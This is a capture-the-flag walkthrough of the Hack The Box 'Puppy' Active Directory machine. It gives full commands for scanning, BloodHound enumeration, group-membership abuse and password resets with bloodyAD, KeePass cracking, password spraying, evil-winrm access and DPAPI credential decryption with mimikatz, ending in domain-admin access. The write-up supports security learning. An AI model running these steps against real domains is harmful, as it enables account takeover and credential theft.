HTB - Puppy

Description
This machine simulates an assumed breach scenario where initial access is already obtained. Using BloodHound, the player identifies a user with GenericWrite rights on a privileged group, enabling group membership manipulation. This escalation grants access to an SMB share containing a KeePass database secured with strong encryption, requiring the latest cracking tools. Further enumeration via BloodHound reveals a user with GenericAll rights over another account, allowing password changes. Leveraging this access leads to decrypted DPAPI credentials from a user folder, ultimately resulting in administrative access on the Domain Controller.
Enumeration
As is common in real life pentests, you will start the Puppy box with credentials for the following account:
levi.james/KingofAkron2025!
I will start with normal Nmap Scan, but first export the machine IP to a variable for easy usage.
export target=10.10.11.70 ;mkdir NmapNmap Scan
nmap -p- --min-rate 10000 $target -Pn -oN Nmap/allports
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49674/tcp open unknown
49689/tcp open unknown
64119/tcp open unknownThen, put all open ports into ports variable and run Nmap script and version scan
export ports="$(cat Nmap/allports | grep '^[0-9]' | cut -d/ -f1 | tr "\n" "," | sed 's/,$//g')"
nmap -p"$ports" $target -Pn -sC -sV -oN Nmap/script-scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
111/tcp open rpcbind 2-4 (RPC #100000)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
2049/tcp open nlockmgr 1-4 (RPC #100021)
3260/tcp open iscsi?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: PUPPY.HTB0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
9389/tcp open mc-nmf .NET Message FramingSummary
* Open ports: 53,88,111,135,139,389,445,464,593,2049,3260,3268,3269,5985,9389
* Services: DNS, KERBEROS, LDAP, SMB, RPC, winRM, NFS
* Important notes: Domain:PUPPY.HTBI started with enumerating smb looking for accessible shares, and I found DEV share but no access to it.

Before I moved further, I updated /etc/hosts with domain information to avoid any tooling issues
echo "$target dc dc.puppy.htb puppy.htb" | sudo tee -a /etc/hosts
10.10.11.70 dc dc.puppy.htb puppy.htbI used bloodhound.py to dump LDAP domain data, then ingested it into bloodhound-GUI to begin domain enumeration.
export user=levi.james; export password=KingofAkron2025!; export domain=puppy.htb
bloodhound-python -u $user -p $password -ns $target -d $domain -c all --dns-timeout 120 --zip
From Bloodhound, I found levi.James member in HR group and has GenericWrite on Developers group, which means I can add members to Developers group

Add levi to Developers group
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" add groupMember "Developers" "levi.james"
[+] levi.james added to DevelopersWith a membership in developers group, I looked at smb shares again and found READ access to DEV share

I accessed the share using smbclient.py from impacket toolkit and found .kdbx password database

After downloading it, I extracted the hash to try cracking it using keepass2john and john but I got this error:
keepass2john recovery.kdbx > keepass.hash
! recovery.kdbx : File version '40000' is currently not supported!The old version of john can't deal with the new hash version of keepass, but the latest version can. First, I downloaded the tool using the following commands:
git clone https://github.com/openwall/john -b bleeding-jumbo john-jumbo && cd john-jumbo/src
sudo apt-get install build-essential libssl-dev zlib1g-dev yasm libgomp1
./configure && make -s clean && make -sj$(nproc)Then, I started keepass2john and john from inside the repo folder and managed to crack the hash
./run/keepass2john recovery.kdbx > keepass.hash
.run/john keepass.hash --wordlist=/usr/share/wordlists/rockyou.txt
..snip..
livxxxxx (recovery) After opening the database, I found several usernames with passwords for each one
keepassxc recovery.kdbx 
Extracted the passwords to a file and started to spray them for each user in the domain. First, I got usernames list from nxc

nxc ldap $target -u users.list -p passwords.list --continue-on-successWith the users & passwords list, I could spray the passwords, and I found valid domain credentials

Foothold
From bloodhound-gui, I found ant.edwards member in Senior devs group and has GenericAll on adam.silver which means I can Change Password for adam.sliver

Take control of the user adam.silver
export user=ant.edwards; export password='REDACTED'
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set password adam.silver 'P@ssw0rd123!!!'
[+] Password changed successfully!With adam account, I can access the machine via winRM

There is a problem with the accountdisabledSo I had to enable it before I could use it

Enable the account by modifying the UserAccountControl with 512 value (Enabled value)
Check Account Disable
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: ACCOUNTDISABLE; NORMAL_ACCOUNTEnable the account
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" set object adam.silver useraccountcontrol -v 512
[+] adam.silver's userAccountControl has been updatedConfirm it's enabled
bloodyAD --dc-ip $target -d "$domain" -u "$user" -p "$password" get object adam.silver --attr useraccountcontrol
distinguishedName: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
userAccountControl: NORMAL_ACCOUNTAccess the box
evil-winrm -i dc -u adam.silver -p 'P@ssw0rd123!!!'
*Evil-WinRM* PS C:\Users\adam.silver> type Desktop\user.txtUser Flag: 4b47de5ca3f585dxxxxxxxxxxxxxxxx
Lateral Movement
Under C:\, there is Backups folder

I then downloaded the file to examine it on my Kali machine

After unzipping the file, I found .bak a file containing the domain credentials for the user steph.cooper
ls
assets images index.html nms-auth-config.xml.bak
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>REDACTED</bind-password>
</server>He is a member of Remote Management Users, So I can access the box with him.

Privilege Escalation
evil-winrm -i dc -u steph.cooper -p 'REDACTED' Inside steph.cooper folder, where there are stored but encrypted credentials (DPAPI) and the

With mimikatz.exe, I managed to extract the masterkey and then decrypt the DPAPI secrets with it.
.\mimikatz.exe 'dpapi::masterkey /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407 /password:ChefSteph2025! /protected' exit
..snip..
Auto SID from path seems to be: S-1-5-21-1487982659-1829050783-2281216199-1107
[masterkey] with password: ChefSteph2025! (protected user)
key : d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990..snip..
sha1: 3c3cf2061dd9d45000e9e6b49e37c7016e98e701.\mimikatz.exe 'dpapi::cred /in:C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9 /masterkey:d9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84' exit
..snip..
UserName : steph.cooper_adm
CredentialBlob : REDACTEDAlternatively, Download credential file and masterkey locally and dump them with
dpapi.pyfromimpacket
The found credential is for step.cooper_adm which is Admin on the domain controller

Get Root flag
nxc smb dc -u steph.cooper_adm -p 'REDACTED'' -x 'type C:\Users\Administrator\Desktop\root.txt'
Root Flag: e2353f53912199xxxxxxxxxxxxxxxxxxx
Last updated